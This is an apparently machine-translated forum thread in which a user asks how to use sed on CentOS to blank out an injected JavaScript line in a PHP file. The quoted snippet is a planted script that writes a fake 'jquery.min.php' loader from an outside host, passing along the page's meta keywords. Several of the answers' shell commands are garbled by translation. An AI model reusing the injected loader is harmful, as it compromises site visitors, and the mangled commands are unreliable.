2016-06-21 134 views
0

我在PHP文件一个脚本如下: var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}替换文件的CentOS一整行

我想在CMD线,以取代(1)空字符的整条生产线。可能吗?试图用sed来做,但可能这是一个太复杂的字符串。尝试在var中设置字符串,但也没有工作。有没有人有任何想法?

回答

0

在我的OS X我测试这个脚本:在$

的strnum( grep -n“qwe”test.txt | awk -F':''{print $ 1}');做猫test.txt | sed -i'.txt'$ strnum's /.*/ /'test.txt;做

在CentOS应该工作这个脚本:

在$ strnum(的grep -n “QWE” 的test.txt | awk的-F ':' '{$打印1}');做猫test.txt | sed -i $ strnum的/.*/ /'test.txt;完成

您应该将qwe替换为您的模式。它将替换所有可以找到模式的字符串。

要把正确的内容放在grep中,应该做好准备。你应该要求的图形创建文件并启动命令:

回声 ' '$(猫your_file | sed的-e的| “| \\” | G')''

这个命令的结果应该被qwe替换(用引号确定)。

你应该得到这样的事情:

for strnum in $(grep -n "var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+\"//\"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('http://mydemo.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<'+'/script>');}" test.txt | awk -F ':' '{print $1}'); do cat test.txt | sed -i $strnum's/.*/ /' test.txt; done 
+0

不,没有工作。这不是一个简单的文本(字符串)。它很少( - :)复杂。有单引号,双引号,括号,...等等。它们中的一些可以匹配sed的常规语法或字符类。也许sed不是答案吗?无法弄清楚...... – user1356820

+0

** sed **只会改变字符串,这可以通过grep找到。我更新答案,试一试。 –

+0

无法理解你的第二个答案。我应该改变什么号码?我应该在哪里编写我的整个'代码'var a =''...../script>');}'code' .. @ Alexander T – user1356820

1

这其实是东西在sed过人之处:)

sed -i '1s/.*/ /' your-file 

例:

$ cat test 
one 
two 
three 
$ sed '1s/.*/ /' < test 

two 
three 
+0

也许,还没有说,它是正确的。包含这个脚本的当前.php有2000行。所以我想在这个.php文件中找到所提到的文本并替换它 – user1356820

+0

所以,你想要的是用空行替换每行只包含'var'吗? – smoku